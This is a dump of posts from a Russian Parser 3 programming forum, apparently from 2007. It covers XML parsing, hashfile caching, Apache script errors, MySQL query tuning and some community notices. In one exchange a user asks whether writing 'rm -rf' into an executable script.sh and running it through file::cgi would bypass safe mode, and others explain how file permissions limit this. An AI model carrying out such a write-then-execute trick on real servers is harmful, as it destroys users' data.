"62647","Не совсем понимаю - речь ведь об извлечении значения атрибута? Мне нужно nodeValue из узла получить."
"62648","P.S. следующий вопрос по коду без приведённого вашего кода удалю."
"62649","1. XML (SOAP) выдает приблуда от 1С, он \"грязный\" - с пустыми textnode. \
2. Пространства имен и структура документа по той же причине (заданы через 1С-овскую приблуду) выглядят весьма запутанными для такого чайника, как я.\
3. selectSingle при неверном указании XPath возвращает объект класса string, соответственно и ошибка выводится \"nodeValue - string method not found\" и т.п., сбивает с толку.\
4. Я раньше с XML и XPath не работал. \
\
Имея на руках всю эту роскошь и документацию, в которой не нашел простого и конкретного примера того, как вытащить значение тэга, я попросил здесь привести мне кусочек кода, в таком случае мне было бы проще локализовать затык. \
\
Кропотливым перебором вариантов я наконец-таки добился желаемого. Спасибо за участие. :)\
\
[code]$nodeneeded[^responseXDoc.selectSingle[/soap:Envelope/soap:Body/m:Response/m:return/d:agent/d:name]] \
$result[$nodeneeded.firstChild.nodeValue][/code]"
"62650","1. и что что с пустыми text node? ваш .select возвращает то, что вы его просите. если просите не текстовый элемент, то он вам текстовый элемент не вернёт.\
\
2. и что? http://www.parser.ru/docs/lang/xdocsearchns.htm\
в качестве NS можете указать что угодно, главное чтобы URI указанного вами NS совпадал с URI NS задекларированного в XML. соотв. искать потом можете по своему NS, например:\
- в xml есть xmlns:ns1=\"urn:blah-blah-blah\" и потом <ns1:item/>\
- вы пишите:\
[code]$xdoc.search-namespaces[\
	$.z[urn:blah-blah-blah]\
][/code]\
и затем ищите используя свой 'z', а не упомянутый 'ns1':\
[code]\
^xDoc.select[//z:item]\
[/code]\
3. хм. что-то не верится, но я не проверял, т.к. работаю через DOM методы (.firstChild & Co), и стараюсь не использовать XPath (.select*).\
\
вы не упомянуль про некоторые \"мелочи\", которые сильно изменили задачу.\
\
с xml содержащем разные NS мне работать удобнее через DOM методы, а не через XPath, т.к. они бегают по элементам не взирая на их NS. некоторые используемые мной методы есть в Node.p."
"62651","1. Просто появляются дополнительные узлы, которые как раз затрудняют использование DOM-методов. В данном конкретном случае это не проблема, но это была не единственная моя попытка  вытащить данные.\
\
2. Тут какой нюанс есть.\
\
Исходный xml-код имеет, положим, такие части:\
[code]\
<n:tag1 xmlns=\"brbrbr\">\
<tag2 xmlns=\"drdrdr\">\
<tag3></tag3>\
</tag2>\
</n:tag1>\
[/code]\
\
Для указания на tag2 и tag3 нужно вводить новый префикс и использовать его для обоих, хотя изначально его нет вообще. Этот момент у меня вызвал сложности.\
\
3. Я проверял еще раз, у меня именно так и получается. Если в приведенных мной строках я вношу ошибку в XPath, получается ошибка \"firstChild - неверный string метод\".\
\
DOM и пустые textnode - неприятненько."
"62652","1. \"пустой\" (а точнее все-таки текстовый) узел ничем принципиально не отличается от не текстового, но не интересующего нас узла. если они не нужны никогда -- то пишется простейший собственный итератор (как в приведённом мной примере)\
\
2. ньюанса не понял. у вас есть xml, по нему вы можете составить xpath запросы. если где-то есть какие-то NS (а особенно если они от раза к разу меняются) -- объявите их со своими именами и используйте их.\
\
3. попробую исправить"
"62653","http://www.parser.ru/forum/?id=54646"
"62654","Если так:\
\
[code]\
$hash[^hash::create[$.k1[v1]]]\
^hash.foreach[key;value]{\
   ^hash._count[]\
}\
[/code]\
\
->>\
\
[quote]\
_count\
can not modify hash (flocked)\
[/quote]\
\
Я же в хэше ничего не изменяю?"
"62655","_count пытается \"открыть\" хеш, чтобы считать из него количество находящихся в нём записей.\
\
но foreach блокирует hash от повторных \"открытий\".\
\
отсюда такая ошибка."
"62656","есть код работающий с двумя СУБД и БД соответственно  одновременно и очень часто переключаясь между ними\
код вываливается с ошибкой на одном из mysql запросов. Записи в лог парсера нет, есть запись в лог Апача.\
Как выловить баг, может есть сборка парсера которая падает в корку для передачи ПАФу"
"62657","Обычная процедура отладки и ПАФу никакой лог присылать не надо."
"62658","В студии TeleType (http://www.teletype.ru/) открылась вакансия верстальщика сайтов.\
\
Требования:\
Хорошее знание HTML/xHTML' JavaScript' dHTML' DOM' CSS. Базовые знания XML' XSL' SQL. Приветствуется знание Parser 3.\
\
Обязанности:\
Вёрстка веб страниц с помощью XSL по готовому дизайну или по аналогии с уже существующими на проекте; разработка скриптов различной сложности на JavaScript; полная сборка страниц без участия программиста.\
\
Условия:\
Новый сотрудник проходит обучение XSL и собственной системе веб разработки' которая позволяет полностью разделять вёрстку и программирование' управляет всем от расположения файлов до версий шаблонов.\
Полная занятость. Рабочее время: 10 - 18' 11 - 19 или 12 - 20. Свободная форма одежды. Чай' кофе на рабочем месте. Офис в центре Москвы.\
\
Необходимо прислать рассказ о себе и своих работах Чеканову Михаилу (cmv[^]teletype.ru)."
"62659","Я же сказал на одном из MySQL запросов\
я это узнал именно благодаря отладочной выдачи, дальше что?"
"62660","Выделить в чистом виде немогу, подозреваю что есть зависимость от скорости каналов.\
Смена настроек MySQL не помогает"
"62662","ок, я покажу его чуть позже, но я думаю проблема не в нём тк он работает без сбоев на быстрых соединениях ровно с теми же даными."
"62664","Или свести ее к минимальному коду."
"62665","я кажется присылал вам багу, проявляющуюся при работе с hashfile + compact."
"62666","Тем более, что выделить проблемный участок в случае с хеш-файлом удалось."
"62667","[Wed Sep 19 13:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 14:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 15:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 16:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 17:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 18:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 20:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi]"
"62668",".. что ошибка имеет четкую периодичность? Что в этот момент (каждая вторая минута часа) происходит на сервере, какие процессы запущены? И вобще что Ваш скрипт-то делает?"
"62671","Меня насторожил тот факт что отработав 2 минуты он вылетает всегда на 1 секунде."
"62672","...и посмотрите, что происходит. Не допускаете, что на сервере установлено ограничение максимального времени исполнения скрипта?"
"62673","Если скрипт запускается кроном, то причем здесь апач?"
"62674","Здесь есть некоторый раздел, вот тут - http://www.parser.ru/faq/forum/\
\
Думаете его зачем писали? - для вас же и писали.\
Меня очень удивляют такие вопросы как ваш, а часто попросту раздражают, и думаю не только меня. \
Вам ведь выходит не просто нужно решение проблемы - вам еще нужно, чтобы кто то вашу проблему обнаружил вместо вас (я это называю протелепатировал)\
Иначе как вы обьясните то, что вы пишете:\
\
[quote]есть код работающий с двумя СУБД и БД[/quote]\
какими? версии? на какой платформе работает скрипт?\
\
[quote]соответственно одновременно и очень часто переключаясь между ними\
код вываливается с ошибкой \
[/quote]\
с какой именно ошибкой?\
[quote]на одном из mysql запросов. [/quote]\
какой запрос?\
\
[quote]Записи в лог парсера нет, есть запись в лог Апача.[/quote]\
\
какая именно запись в логе?\
\
Где код, вызывающий ошибку в конце концов?\
\
эти вопросы не должны возникать у тех, у кого вы просите помощи. Это в ваших интересах.\
\
[quote]Как выловить баг, может есть сборка парсера которая падает в корку для передачи ПАФу\
[/quote]\
есть такая сборка - bug.zip называется - делается руками, когда все возможные варианты проанализированы, и можно делать вывод, что это баг парсера.\
\
Скажите спасибо терпению тех, кто пытается разобраться в вашей проблеме :)"
"62675","я думал это свойство известно еще ДО входа в foreach без дополнительных телодвижений в виде открытия."
"62676","Разбирать туда-сюда tab-файлы может быть довольно муторным занятием. Гораздо проще фигачить сразу всё в базу.\
\
А дальше либо сразу генерить tab-файл со всеми данными, или по мере надобности згружать нужную строчку из базы, кэшируя её.\
\
Или ещё вариант - пихать каждую настройку не в общий файл, а в отдельный, куда-нибудь в район /../data/settings/_id.txt\
\
Как Вы оцениваете такие методы. Какие в них недостатки?"
"62677","... из крона натравливают wget на определенный адрес. Но вопрошаюший совершенно не стремиться сообщать подробности, поэтому приходится гадать. :("
"62678","Вот примерно такое есть предложение/пожелание:\
\
[code]$tPricelist[^table::create{^untaint[as-is]{$form:csv_file.text}\
}[\
	$.encloser[;]\
]][/code]\
\
или, например, так:\
\
[code]$tPricelist[^table::create{article;name;price;quantity\
^untaint[as-is]{$form:csv_file.text}\
}[\
	$.encloser[;]\
]][/code]\
\
\
\
Что об этом думают разработчики/юзеры?\
Фича, конечно, не обязательная, т.к. у нас есть replace и match, но имхо, так логичнее будет. В духе парсера и все такое :)"
"62679","в данный момент он вызывается через wget\
\
в прошлый раз он отработал нормально, посмотрю что будет в логах сегодня вечром"
"62680","Внешний php-шный скрипт генерит картинки, например для капчи. И работает он достаточно быстро (0,001--0,009сек), но \
на странице таких генерируемых изображений около десятка, а посещаемость страницы сумасшедшая(!)\
\
Решил сделать кеширование через хешфайл, но ситуация не улучшилась, парсерные процесы начали периодически выпадать в core.\
\
В чем может быть проблема? Есть идеи?\
\
[code]\
\
<img src=\"image.html?id=137\" />\
\
##########################################################\
#image.html\
@main[]\
...\
$response:body[^getImageFile[^form:id.int(0)]]\
...\
# end of @mian[]\
\
\
##########################################################\
@getImageFile[id][sImageGeneratorPath;sPathToImageCacheDir;hfImages;fImage]\
$sImageGeneratorPath[*********************************/image.php]\
$sPathToImageCacheDir[$MAIN:CACHE_DIR/images]\
\
$hfImages[^hashfile::open[$sPathToImageCacheDir/cache]]\
\
^if($hfImages.$id){\
#	картинка свежая, читаем ее из кеша\
	$result[^file::load[binary;$sPathToImageCacheDir/${id}.jpg]]\
}{\
#	картинки в кеше нет или она не свежая. Делаем новую и создаем ключ в хешфайле\
	$fImage[^file::load[binary;${sImageGeneratorPath}?id=$id][$.timeout(5)]]\
	^fImage.save[binary;$sPathToImageCacheDir/${id}.jpg]\
	\
#	Время кеширования.\
#	Кешировать будем с разным временем (30--60min), что бы небыло такого, что все картинки состарятся в один и тот же момент.\
#	iCacheTime = [рендомное кол-во мин от 30 до 60] + [рендомное кол-во секунд от 1 до 60]\
#	1/24/60 = одна минута\
#	1/24/60/60 = одна секунда\
	$iCacheTime(1/24/60*(^math:random(31)+30) + 1/24/60/60*(^math:random(61)+1))\
	$hfImages.$id[ \
		$.value[$id]\
		$.expires($iCacheTime) \
	] 	\
	$result[$fImage]\
}\
[/code]\
\
\
[b]Интересный момент:[/b]\
Завел лог для генератора картинок (image.php), куда пишу id картинки, время которое она формировалась и таймстемп.\
\
Вот, взгляните на выборку для 85-й карнтинки. Обратите внимание на таймстемп.\
\
Если минимальное время кеширования 30мин, как такое возможно что она формировалась 10 раз за период с 22:54 до 22:55,\
ведь «[i]в один момент времени файл может изменяться только одним скриптом, остальные ждут окончания его работы[/i]» (из документации)\
\
\
\
[code]\
#img-id      time            datestamp\
 85          0.0022          2007-09-19 22:54:37\
 85          0.0022          2007-09-19 22:54:43\
 85          0.1084          2007-09-19 22:54:48\
 85          0.0022          2007-09-19 22:54:52\
 85          0.0033          2007-09-19 22:54:56\
 85          0.0995          2007-09-19 22:55:00\
 85          0.1087          2007-09-19 22:55:16\
 85          0.0816          2007-09-19 22:55:27\
 85          0.0021          2007-09-19 22:55:32\
 85          0.0017          2007-09-19 22:55:46\
 85          0.0973          2007-09-19 23:03:19\
 85          0.0018          2007-09-19 23:12:12\
 85          0.1268          2007-09-19 23:13:25\
 85          0.0022          2007-09-19 23:44:21\
 85          0.0059          2007-09-20 00:40:13\
 85          0.0025          2007-09-20 01:33:09\
 85          0.0058          2007-09-20 02:31:33\
 85          0.0021          2007-09-20 03:29:19\
 85          0.0022          2007-09-20 04:05:51\
 85          0.0153          2007-09-20 04:59:39\
 85          0.0020          2007-09-20 05:40:55\
 85          0.0021          2007-09-20 06:22:10\
 85          0.0057          2007-09-20 07:18:48\
 85          0.0056          2007-09-20 08:15:37\
 85          0.0720          2007-09-20 08:36:53\
[/code]\
\
(Или я где-то протупил в кешировании?)"
"62681","В последнее время на форуме оч много раздражённых, наверное сезонное, но за полный и развёрнутый ответ спасибо.\
\
помимо faq, доки, есть ещё и поиск по форуму\
в форуме есть сообщение\
http://www.parser.ru/forum/?id=12571\
\
если не полениться и заглянуть в faq в раздел ошибки\
и поискать слово premature, то обнаружим что оно там присутсвует 0 раз\
\
все три источника мною уважаемы и регулярно используются :)"
"62682","- $.expires($iCacheTime) << время в ДНЯХ!!!\
- не виден код чистки ненужных файликов\
- не виден код чистки устаревших записей в hashfile\
\
у hashfile есть некоторая проблема с блокировками, вы про неё не забыли? хотя в вашем случае она не должна проявляться, т.к. вы пишите в него не часто."
"62683","Если кого-то раздражает вопрос, Вас ни кто не обязывает отвечать.\
\
Думаю ответ с раздражением нужно удалять не мее жёстко чем вопросы бессмысленные и флеймообразующие тк они подрывают желание у начинающих изучать язык.\
\
Любой ответ надо делать если на то есть желание, и не считать себя гуру.\
Думаю правильным отвечать с позиции человека способного помочь в решении возникшего затруднения.\
\
IMHO"
"62684","... надеюсь, что и Вы не будете \"забывать\" отвечать на все вопросы, которые задают те, кто пытается Вам помочь."
"62686","M>> - $.expires($iCacheTime) << время в ДНЯХ!!!\
      так и есть, у меня дробное значение в днях\
\
M>> - не виден код чистки ненужных файликов\
M>> - не виден код чистки устаревших записей в hashfile\
      в данной ситуации файлики не чистятся, а перезаписываются свежими, аналогично -- ключи хешфайла, только с другой датой устаревания"
"62687","Данные о времени генерации картинки уже есть в файловой системе. Просто проверяем наличие файла и по дает его создания определяем необходимость перегенерации. Мнекажется, что это гораздо надежнее хеш-файла, поскольку не будет проблем с ручным удалением кеша."
"62688","я в начале так и подумал, но не нашел как парсером прочитать дату создания файла. ПОэтому сразу перешел к хешфайлу.\
\
Блин, а сейчас смотрю в доку и вижу \
\
$файл.cdate - дата создания\
\
Конечно, лучше всего так сделать.\
Спасибо."
"62689","Не стоит считать флеймом то, что лично вас не интересует. Может придет следующий и не будет задавать вопросов. подобных вашим :)\
\
Культура ответов - прямо пропорциональна культуре воспросов.\
Где вы нашли раздражение - я не знаю, я сказал лишь, то что оно часто возникает. Когда возникает - я обычно не пишу.\
\
в Фак я вам ссылку дал - потому что там примерно написано, как задавать вопросы.\
\
Вместо вашего текста должен был быть такой (пример):\
\
есть код работающий с двумя СУБД и БД (mysql 5, parser 3.2.1) соответственно одновременно и очень часто переключаясь между ними\
код вываливается с ошибкой на одном из mysql запросов. \
запрос такой:\
[code]SELECT * FROM ....[/code]\
Записи в лог парсера нет, есть запись в лог Апача...\
[code]\
[Wed Sep 19 13:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 14:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 15:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[Wed Sep 19 16:02:01 2007] [error] [client 192.168.0.2] Premature end of script headers: parser3.2.1.cgi\
[/code]\
Как выловить баг?\
\
Причем эта информация у вас уже была на момент написания вашего поста, что вам мешало ее предоставить, избавив остальных коллег от траты времени на наводящие очень издалека вопросы?\
Если бы вы дейсвительно были новичком - это можно было бы понять, но новички спрашивают по другому - их вопрос обычно типа \"не работает сайт\" и всё, потому что они может и не знают, что такое логи, где они лежат, как узнать версию парсера и mysql и пр. Их понять можно. (хотя вот антипример  - http://www.parser.ru/forum/?id=62630 - человек вообще к парсеру отношения не имеет, и тем не менее сумел локализовать проблему самостоятельно, и предоставить необходимую для ее решения информацию)\
Но ваш пост свидетельствет о том, что некоторой как минимум базовой информацией вы обладаете по факту.\
\
Посмотрите ветку - помогающие вынуждены из вас вытягивать информацию пошагово, хотя вы могли ее предоставить без каких либо усилий с вашей стороны. Вы считаете это нормальным?\
сколько понадобилось постов , только лишь для того, чтобы узнать, что у вас \"Premature of headers\"?\
\
P.S. Кстати ваша ошибка из лога апача, будучи забитой в строку поиска, которым вы якобы постоянно пользуетесь - даст исчерпывающее количество информации. Но вы я думаю про это же знаете?"
"62690","Как то вы скромно, оно совсем не одно - http://www.parser.ru/forum/?terms=%22Premature+end+of+script+headers%22&author=&doSearch=%CD%E0%E9%F2%E8"
"62692","Было бы неплохо иметь скрипт, допустим на PHP4, который сам все делает.\
Залил его на сервер, запустил и... в каталоге CGI-BIN работоспособный parser3.cgi.\
\
Возможно ли такое в принципе, как вы считаете?"
"62693","19 сенятбря 2007 ( веб-разработка, software engineering, партнёры, встречи )\
\
26-го сентября, в 19-00 в аудитории 116 здания ГУ-ВШЭ на Мясницкой, 20 состоится очередная встреча Moscow MySQL User Group. В качестве гостя выступит Пётр Зайцев - консультант в области разработки и настройки высоконагруженных веб-систем, использующих СУБД MySQL.\
\
Пётр Зайцев работал техническим директором компании SpyLog, был сотрудником Группы высокой производительности компании MySQL AB, а в последние годы руководит собственной консалтинговой компанией, выступает на конференциях (например, HighLoad), проводит семинары и ведёт блог MySqlPerformanceBlog.com\
\
Пётр расскажет о своём видении развития СУБД MySQL, опыте работы на консалтинговых проектах по настройке высоконагруженных систем и ответит на вопросы.\
\
Для участия во встрече необходимо обязательно зарегистрироваться по адресу http://styleru.net/register."
"62694","... если мы говорим о сборке из исходных кодов. Причина простая: запускать длительные процессы из-под Апача - это простое неуважение к хостеру.\
\
Установка же собранного Парсера процесс тривиальный в большинстве случаев. А для всех специфических инсталяторы не напишешь. :)"
"62695","...по поводу длительных процессов.\
\
Установка собранного Парсера конечно тривиальна, не спорю. Но часто этого собранного Парсера нет для конкретного сервера.\
\
[quote]А для всех специфических инсталяторы не напишешь. :)[/quote]\
\
Так ведь нужен один инсталятор. Для всех видов серверов.\
\
Такое возможно написать?"
"62696","... которые подкачивают зависимости и используют стандартный юниксовый метод автоматизации сборки: configure, make, make install."
"62697","Многое приходится делать ручками. То, что можно было бы автоматизировать.\
Например, нужно вручную залить исходные коды на сервер.\
И самое неприглядное, вручную разбираться с ошибками.\
\
Это не полноценный инсталятор, а скорей скрипт, который облегчает компиляцию Парсера.\
\
Вот есть CMS, написанная на Парсере. Но сделать ее бесплатной пока затруднительно. Так как нужно вручную ставить еще и Парсер. И вот есть желание сделать инсталятор Парсера. Поставил инсталятор на сервер (всего один файл скачал) и запустил из http. Далее этот скрипт сам загрузил и установил Парсер, если нужно скомпилировал его, в крайнем случае дал рекомендации что делать, если установить не удалось автоматически, затем скачал и установил CMS. Вот если такой установщик сделать, то можно дать в открытый доступ и CMS."
"62699","[code]$responseData[^file::load[text;http:/example.com/service.asmx;\
	$.method[POST]\
	$.body[^untaint[as-is]{$SOAPBody}]\
	$.charset[utf-8]\
	$.headers[\
		$.Content-Type[text/xml^; charset=utf-8]\
		$.Content-length[^SOAPBody.length[]]\
		$.Host[example.com]\
		$.SOAPAction[http://example.com/myMethod]\
	]\
]]\
\
^if($responseData){\
	$temp[$responseData.SET-COOKIE][/code]\
..."
"62700","[code]$temp[^temp.mid(18;24)][/code]\
\
Ну, уж этот ASP."
"62701","Есть метод\
@body[]\
*Берет из базы кучу всего и расставляет как надо*\
\
Есть еще метод, который выведет из @body[] переменную $title (которая пойдет соответственно в <title>.../title>)\
\
@title[]\
^body[]\
$result[$title]\
\
Вопрос:\
Такой ход будет \"лишним\" обращением к базе?\
\
Или, я так понимаю, \"дергать\" переменные из одного метода в другой вообще не стоит? title'ы отдельно, body'ы отдельно?"
"62702","... в Вашем случае лучше из метода @auto. А в body и title просто формировать выдачу."
"62705","Online, конечно хорошо, но лично больше задач решается. В форуме пробегала идея вести список пользователей по городам, чтобы можно было найти контакты в городе/области. Я например, до сих пор, считаю, что единственный в области юзаю Parser.\
Я конечно всячески способствую продвижению языка в массы (преподаю в центре Интернет образования блок по веб-программированию), однако, пока ничего дельного (кроме работ студентов) на Parser не видел. Да и люди у нас какието ленивые."
"62706","[quote]При [b]загрузке[/b] и [b]записи[/b] файла можно задать символы-разделители столбцов и символы, обрамляющие значения столбцов.[/quote]\
\
А что делать, если файл получается из формы (input type=\"file\")?\
Только брать значение .text, делать replace и потом - ^table::create{}\
\
Или я что-то пропустил?"
"62707","причем простым replace не отделаться, т.к. encloser требуется чаще чем separator, а в этом случае надо ещё заботиться об эскейплинье содержимого полеё таблицы."
"62709","Как связаться, думаю, разберетесь."
"62711","Не грузиться драйвер для PostgreSql.\
Парсер и сам драйвер собирал сам.\
Проблема на VDSке от ispserver.ru/\
\
Uname -a :\
\
FreeBSD 6.2-STABLE #1: Sun Sep  9 06:09:24 CEST 2007     root@dione.ispsystem.net:/root/src/sys/i386/compile/ISPSYSTEM_PAED  i386\
\
Что делать то?"
"62713","Делаю сайт с очень хитрым каталогом продукции. Все методы, относящиеся к обработке и отображению информации у меня попадают в класс @catalog.\
\
Сейчас у меня около 40 методов в классе и размер файла уже 200 кб. Нормально ли это? Вообще, какой оптимальный баланс? Мы ведь не стремимся запихнуть весь сайт в один файл auto.p.\
\
Методы эти много где будут использоваться в пользовательской части сайта, почти на всех страницах. Соответственно, файл тоже придётся подгружать каждый раз (кэширование там будет, но не везде)\
\
Или всё-таки лучше постараться разбить класс на подклассы?\
Спасибо"
"62714","Помогите, пожалуйста, разобраться! Все функции работают на локалке, на сервере не работает ресайз, при этом остальные функции работают. ОС FreeBSD 6.1, nconvert качал под нее. В .status пишет 254."
"62715","По этой теме есть отличная книга «[url=\"http://www.books.ru/shop/books/330247\"]Совершенный код[/url]».\
\
Ещё размер файла класса может расти из-за не совсем верно выбранных методов решения. Например хранение информации в файлах вместо БД."
"62716","Да нет, массивы информации как раз хранятся в базе.\
Один очевидный мне минус - хранение оформления (div, table, p, h123), но по прикидкам, оно н сильно много места занимает (стили все в css).\
\
Большую часть файла занимают методы, используемые в администраторском разделе сайта, в пользовательской части они не используются.\
Так, может, правильнее будет разбить класс на два - @catalog и @catalog_admin? Но тогда @catalog вообще можно не делать классом - прото подцеплять файл по мере надобности"
"62717","Класс большим быть не должен.\
И вообще когда в программе один класс то этот класс может смело называться модулем, а стиль программирования процедурным, когда в основе лежать процедуры (функции). В ООП всё по другом, там каждая сущность должна храниться в отдельном классе."
"62718","Есть такой текст\
$selected_day[^date::create(${now.year};${now.month};$day)]\
$pre_day[$selected_day]\
$selected_day.day\
^pre_day.roll[day](-5)\
$pre_day.day\
$selected_day.day\
\
При изменении ^pre_day.roll[day](-5) также изменяется $selected_day.day.\
Что я делаю неправильно?"
"62719","Т.е. если Вам нужно скопировать дату, то нужно использовать копирующий конструктор:\
[code]\
$pre_day[^date::create($selected_day)]\
[/code]"
"62720","думал, нескоро второй раз сподобятся.\
и тема актуальная, как никогда.\
пойду.\
коллеги, айда расширять кругозор?"
"62721","Запрос вроде бы простой, но почему-то невозможно избавиться от Using temporary; Using filesort. \
Может быть это невозможно для такого типа запросов? ПОмогите если знаете..\
\
Таблицы:\
\
[code]CREATE TABLE `organizations` (\
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\
  `title` varchar(255) NOT NULL DEFAULT '',\
  PRIMARY KEY (`id`),\
) ENGINE=InnoDB DEFAULT CHARSET=utf8;[/code]\
и\
\
[code]CREATE TABLE `usage_groups` (\
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\
  `id_package` int(10) unsigned NOT NULL DEFAULT '0',\
  `id_organization` int(10) unsigned NOT NULL DEFAULT '0',\
  PRIMARY KEY (`id`),\
  KEY `FK_usage_group_package` (`id_package`),\
  KEY `FK_usage_group_organiuzation` (`id_organization`),\
  KEY `id_package` (`id_package`,`id_organization`),\
) ENGINE=InnoDB DEFAULT CHARSET=utf8;[/code]\
\
EXPLAIN (незначимые строки убраны):\
\
[code]id select_type table type    key	  rows	Extra\
1  SIMPLE       ug    index   id_package 2657	Using index; Using temporary; Using filesort\
1  SIMPLE       o      eq_ref PRIMARY    1[/code]\
\
И запрос:\
\
[code]SELECT\
      o.title\
FROM\
    `organizations` o\
    JOIN `usage_groups` ug ON o.id = ug.`id_organization`\
GROUP BY o.id\
ORDER BY ug.`id_package` DESC\
LIMIT 0, 10[/code]\
\
Помогите убрать filesort! Время выполнения в разы замедляется.."
"62722","А от отсутсвия индекса ug.id_organization + ug.id_package, в результате чего всё содержимое таблицы просматривается при объединении.\
KEY `id_package` (`id_package`,`id_organization`) есть, но порядок полей не тот.\
\
Поробуйте подправить, думаю, поможет."
"62724","уберите, и не будет файлсорта.\
[quote][b]Using filesort [/b]- MySQL must do an extra pass to find out how to retrieve the rows in sorted order. The sort is done by going through all rows according to the join type and storing the sort key and pointer to the row for all rows that match the WHERE clause. The keys then are sorted and the rows are retrieved in sorted order.[/quote]"
"62726","...или сделать catalog_admin наследником catalog.\
\
Ещё можно всё оформление спрятать в класс decor: методы для оформления таблиц, списков и т.д.\
\
Также неплохо все внутренние данные (списки названий месяцев, дней недели и т.п.) положить в отдельный файл."
"62727","Господа, приготовьте свои табуретки для битья ими по мой ламерской голове, но я хочу задать вот такой вот вопрос:\
\
Не случится ли чего страшного, если я поставлю Parser на сервер, на котором работает Joomla (система управления сайтом)? Вопрос мой связан с тем, что, насколько я понимаю, в Joomla уже встроен свой парсер. Не будут ли они конфликтовать?\
\
Заранее благодарен за конструктивные табуретки!"
"62728","Возможно ли обращаться к системной командной строке в парсере? Например, как в перле ` .... ` Есть в парсере что-то подобное? Очень надо :)"
"62730","Блин, а я полчаса копал эту доку и не нашёл... Спасибо! :)"
"62731","http://www.google.com.ua/search?hl=ru&q=xml+to+pdf&meta="
"62732","Parser это язык программирования. Парсер в Joomla это просто некая утилита внутри движка написанная на PHP. Конфликтовать в принципе не могут.\
\
Судя по вашему сообщения вы не знаете что такое Parser. Интересно, для чего тогда вы его поставить хотите?"
"62733","Допустим уже есть скрипт на сервере script.sh с флагом исполняемый.\
\
А что если из скрипта на Парсере записать в файл script.sh команду \"rm -rf\" или еще какую-либо и затем запустить через ^file::cgi... скрипт script.sh \
\
То что, таким образом мы safe mode обойдем? \
\
То есть путем корректировки скрипта из script.sh Парсера."
"62734","Теперь он вполне адекватно работает и в Опере (есть глюк: нельзя создать параграф. в Опере при нажатии Enter получается <br/>).\
\
Думаю переходить на него в своих проектах. Пробовал свой написать - закопался в такие дебри, что решил оставить эту затею...\
\
Хорошая идея приделать к нему Типограф. Думаю, не сложно будет сделать это в виде плагина с кнопкой \"типографить\". Возможно, кто-то это уже реализовал? Также, возможно, у кого-то есть к нему адекватная обвязка на Парсере (менеджер изображений/файлов и т.д.)?\
\
А ссылку на Reformator считаю необходимым отправить разработчикам WYM :-) Кстати, как поживает Reformator? У меня прошлогодняя версия, причем я не помню, где её взял..."
"62736","предположим дикое - script.sh лежит в веб-пространстве, некий кривой парсерный скрипт позволяет в script.sh записать произвольный текст.\
\
1) если script.sh принадлежит не тому же пользователю, от лица которого запущен вебсервер и его cgi-процессы, изменить файл не удастся\
2) если принадлежит, то \"rm -rf\" удалит только файлы этого пользователя (хостер же не запускает вебсервер от лица пользователя root?)"
"62737","Я хочу поставить Parser для того, чтобы обработать xml файл одного стороннего магазина и показать некоторые его товарные позиции на своем сайте. Поскольку PHP я почти не знаю (а с парсером Joomla можно реально работать только зная этот язык), я надеюсь, что с Parser'ом я сумею совладать, во всяком случае, прочитав документацию по той части, которая касается обработки xml, я почти все понял :)"
"62744","...что даже без safe mode особо опасаться нечего. Только программер, написав парсерный скрипт с дырой, может позволить проникнуть на сайт злоумышленнику. \
\
Вроде все ясно."
"62745","...могу вас заверить, что ничего сложного в освоении XML-функций и -классов у PHP нету. Лучше уж PHP использовать, нежели Парсер. Так как вы можете на всякие ненужные сложности напороться. Например, Парсер может не работать на вашем сервере из-за несовместимости с местным ПО."
"62746","Какой движок магазина вы пользуете в Jooml-е? Если e-commers, то лучше напрямую работать с базой с помощью Parser. У меня на одной из работ стоит магаз под Joomla-й, и пользую Parser для формирования базы товаров магазина, т.к. встроенные средства несправляються с базой из 2000 позиций и более.\
\
А вообще, детальнее распишите задачу,"
"62747","т.к. все-равно придеться разбираться как там все работает"
"62748","Допустим есть форма по загрузке рисунков на сервер.\
В обработчике запроса написано \
^void:sql{insert into my_table (id,	field1) values (NULL,	'$form:field1')}, где поле id имеет свойство auto increment.\
Сразу после этого нужно в этом же обработчике сохранить файл так, чтобы именем было значение, только что записанное в id. Как узнать его значение?\
\
PS даже не знаю что задавать в поле поиска по форуму."
"62749","Во-первых, не надо указывать вместо id NULL. MySQL сам вставит нужное значение. Надо ^void:sql{insert into my_table (field1) values ('$form:field1')}\
\
Что до поиска, посмотрите в форуме и в Мишиных SQL-классах \"LAST_INSERT_ID\""
"62750","О каких \"несовместимостях\" речь?"
"62751","[code]^void:sql{insert into my_table set field1 = '$form:field1'}\
$lid[^int:sql{select last_insert_id()}][/code]"
"62752","..у некоторых хостеров стоят всякие хитрые системы аля freebsd 5.5 с хитро поставленными mysql'ями.\
Парсер там конечно работает, но зачастую приходится много-много общаться с саппортом и вообще шевелиться."
"62753","...например, на одном хостинге стоял парсер, не мной ставленный, а самим хостером. Так там постоянно нехватка памяти была. Причем админы так разошлись, что вообще сняли какие-бы то ни было ограничения на память. И все равно ее не хватало. А мои скрипты в то время успешно работали в стандартных ограничениях на многих других серверах. Так что речь идет только об условных несовместимостях."
"62754","Народ, подскажите кто грамотный, не успел еще въехать в XML, а тут\
прижало к забору по времени, надо срочно такое вот распарсить:\
<node0>\
  <node1>\
     <found>12</found> \
     <found>13</found> \
     <found>14</found>\
  </node1>\
</node0>\
\
Как мне с помощью методов xdoc'a достать в перменные\
значения 12,13,14?"
"62756","Методом тыка все излазил, спецификации огромны сразу не подберешься.\
Методом тыка и пробы из примеров, нашел\
[code]\
<document> \
    <t>1<t/>\
    <t>2<t/> \
</document>}] \
# результат=список из двух элементов \"t\" \
